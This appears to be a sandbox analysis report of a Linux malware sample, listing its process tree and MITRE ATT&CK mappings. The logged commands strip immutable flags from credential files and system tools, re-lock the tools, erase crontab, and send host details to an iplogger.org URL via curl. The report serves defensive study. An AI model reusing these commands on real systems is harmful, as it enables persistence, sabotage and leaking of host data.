- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1760
- /usr/bin/chattr
  chattr -i /bin/chattr
  2⤵
  - Attempts to change immutable files
  PID:1762
- /bin/chmod
  chmod +x /bin/chattr
  2⤵
  PID:1763
- /usr/bin/setfacl
  setfacl -m u::x /bin/chattr
  2⤵
  PID:1764
- /usr/bin/chattr
  chattr -i /bin/top
  2⤵
  - Attempts to change immutable files
  PID:1766
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1767
- /usr/bin/setfacl
  setfacl -m u::x /bin/top
  2⤵
  PID:1768
- /bin/chmod
  chmod +x /bin/top
  2⤵
  PID:1769
- /usr/bin/chattr
  chattr +i /bin/top
  2⤵
  PID:1770
- /usr/bin/chattr
  chattr -i /usr/bin/apt
  2⤵
  - Attempts to change immutable files
  PID:1773
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1774
- /usr/bin/setfacl
  setfacl -m u::x /usr/bin/apt
  2⤵
  PID:1775
- /bin/chmod
  chmod +x /usr/bin/apt
  2⤵
  PID:1776
- /usr/bin/chattr
  chattr +i /usr/bin/apt
  2⤵
  PID:1777
- /usr/bin/chattr
  chattr -i /usr/bin/ps
  2⤵
  PID:1780
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1781
- /usr/bin/setfacl
  setfacl -m u::x /usr/bin/ps
  2⤵
  PID:1782
- /bin/chmod
  chmod +x /usr/bin/ps
  2⤵
  PID:1783
- /usr/bin/chattr
  chattr +i /usr/bin/ps
  2⤵
  - Attempts to change immutable files
  PID:1784
- /usr/bin/chattr
  chattr -i /bin/ps
  2⤵
  - Attempts to change immutable files
  PID:1787
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1788
- /usr/bin/setfacl
  setfacl -m u::x /bin/ps
  2⤵
  PID:1789
- /bin/chmod
  chmod +x /bin/ps
  2⤵
  PID:1790
- /usr/bin/chattr
  chattr +i /bin/ps
  2⤵
  PID:1791
- /usr/bin/chattr
  chattr -i /usr/bin/apt-get
  2⤵
  - Attempts to change immutable files
  PID:1794
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1795
- /usr/bin/setfacl
  setfacl -m u::x /usr/bin/apt-get
  2⤵
  PID:1796
- /bin/chmod
  chmod +x /usr/bin/apt-get
  2⤵
  PID:1797
- /usr/bin/chattr
  chattr +i /usr/bin/apt-get
  2⤵
  - Attempts to change immutable files
  PID:1798
- /usr/bin/chattr
  chattr -i /bin/yum
  2⤵
  - Attempts to change immutable files
  PID:1801
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1802
- /usr/bin/setfacl
  setfacl -m u::x /bin/yum
  2⤵
  PID:1803
- /bin/chmod
  chmod +x /bin/yum
  2⤵
  PID:1804
- /usr/bin/chattr
  chattr +i /bin/yum
  2⤵
  - Attempts to change immutable files
  PID:1805
- /usr/bin/chattr
  chattr -i /usr/bin/top
  2⤵
  - Attempts to change immutable files
  PID:1808
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1809
- /usr/bin/setfacl
  setfacl -m u::x /usr/bin/top
  2⤵
  PID:1810
- /bin/chmod
  chmod +x /usr/bin/top
  2⤵
  PID:1811
- /usr/bin/chattr
  chattr +i /usr/bin/top
  2⤵
  PID:1812
- /usr/bin/chattr
  chattr -i /bin/kill
  2⤵
  - Attempts to change immutable files
  PID:1815
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1816
- /usr/bin/setfacl
  setfacl -m u::x /bin/kill
  2⤵
  PID:1817
- /bin/chmod
  chmod +x /bin/kill
  2⤵
  PID:1818
- /usr/bin/chattr
  chattr +i /bin/kill
  2⤵
  - Attempts to change immutable files
  PID:1819
- /usr/bin/chattr
  chattr -i /usr/lib/klibc/bin/kill
  2⤵
  PID:1822
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1823
- /usr/bin/setfacl
  setfacl -m u::x /usr/lib/klibc/bin/kill
  2⤵
  PID:1824
- /bin/chmod
  chmod +x /usr/lib/klibc/bin/kill
  2⤵
  PID:1825
- /usr/bin/chattr
  chattr +i /usr/lib/klibc/bin/kill
  2⤵
  PID:1826
- /usr/bin/chattr
  chattr -i /usr/bin/pkill
  2⤵
  PID:1829
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1830
- /usr/bin/setfacl
  setfacl -m u::x /usr/bin/pkill
  2⤵
  PID:1831
- /bin/chmod
  chmod +x /usr/bin/pkill
  2⤵
  PID:1832
- /usr/bin/chattr
  chattr +i /usr/bin/pkill
  2⤵
  - Attempts to change immutable files
  PID:1833
- /usr/bin/chattr
  chattr -i /bin/pkill
  2⤵
  PID:1836
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1837
- /usr/bin/setfacl
  setfacl -m u::x /bin/pkill
  2⤵
  PID:1838
- /bin/chmod
  chmod +x /bin/pkill
  2⤵
  PID:1839
- /usr/bin/chattr
  chattr +i /bin/pkill
  2⤵
  - Attempts to change immutable files
  PID:1840
- /usr/bin/chattr
  chattr -i /sbin/shutdown
  2⤵
  PID:1843
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1844
- /usr/bin/setfacl
  setfacl -m u::x /sbin/shutdown
  2⤵
  PID:1845
- /bin/chmod
  chmod +x /sbin/shutdown
  2⤵
  PID:1846
- /usr/bin/chattr
  chattr +i /sbin/shutdown
  2⤵
  - Attempts to change immutable files
  PID:1847
- /usr/bin/chattr
  chattr -i /sbin/reboot
  2⤵
  - Attempts to change immutable files
  PID:1850
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1851
- /usr/bin/setfacl
  setfacl -m u::x /sbin/reboot
  2⤵
  PID:1852
- /bin/chmod
  chmod +x /sbin/reboot
  2⤵
  PID:1853
- /usr/bin/chattr
  chattr +i /sbin/reboot
  2⤵
  - Attempts to change immutable files
  PID:1854
- /usr/bin/chattr
  chattr -i /sbin/poweroff
  2⤵
  - Attempts to change immutable files
  PID:1857
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1858
- /usr/bin/setfacl
  setfacl -m u::x /sbin/poweroff
  2⤵
  PID:1859
- /bin/chmod
  chmod +x /sbin/poweroff
  2⤵
  PID:1860
- /usr/bin/chattr
  chattr +i /sbin/poweroff
  2⤵
  PID:1861
- /usr/bin/chattr
  chattr -i /sbin/telinit
  2⤵
  - Attempts to change immutable files
  PID:1864
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1865
- /usr/bin/setfacl
  setfacl -m u::x /sbin/telinit
  2⤵
  PID:1866
- /bin/chmod
  chmod +x /sbin/telinit
  2⤵
  PID:1867
- /usr/bin/chattr
  chattr +i /sbin/telinit
  2⤵
  PID:1868
- /usr/bin/chattr
  chattr -iR /root/.ssh/
  2⤵
  PID:1871
- /usr/bin/chattr
  chattr -iR "/home/*/.ssh/"
  2⤵
  - Attempts to change immutable files
  PID:1873
- /usr/bin/chattr
  chattr -iR /etc/passwd
  2⤵
  - Attempts to change immutable files
  PID:1875
- /usr/bin/chattr
  chattr -iR /etc/shadow
  2⤵
  PID:1877
- /usr/bin/chattr
  chattr -iR /etc/sudoers
  2⤵
  - Attempts to change immutable files
  PID:1879
- /usr/bin/chattr
  chattr -iR /etc/ssh/
  2⤵
  - Attempts to change immutable files
  PID:1881
- /usr/bin/chattr
  chattr -iR /etc/ssh/sshd_config
  2⤵
  PID:1883
- /usr/bin/setfacl
  setfacl -m u::x /bin/chmod
  2⤵
  PID:1884
- /bin/grep
  grep -q 8.8.8.8 /etc/resolv.conf
  2⤵
  PID:1885
- /usr/bin/chattr
  chattr -i /etc/resolv.conf
  2⤵
  - Attempts to change immutable files
  PID:1886
- /usr/bin/chattr
  chattr +i /etc/resolv.conf
  2⤵
  - Attempts to change immutable files
  PID:1888
- /bin/grep
  grep -q 8.8.4.4 /etc/resolv.conf
  2⤵
  PID:1890
- /usr/bin/chattr
  chattr -i /etc/resolv.conf
  2⤵
  PID:1891
- /usr/bin/chattr
  chattr +i /etc/resolv.conf
  2⤵
  PID:1893
- /usr/bin/chattr
  chattr -iR /var/spool/cron/
  2⤵
  - Attempts to change immutable files
  PID:1895
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1897
- /bin/uname
  uname -a
  2⤵
  PID:1900
- /usr/bin/curl
  curl -s -k https://iplogger.org/1Nuxp7 --user-agent TNTcurl --referer "Linux ubuntu1804-amd64-20240508-en-3 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux" -o /dev/null
  2⤵
  PID:1901

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Web Service

T1102

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads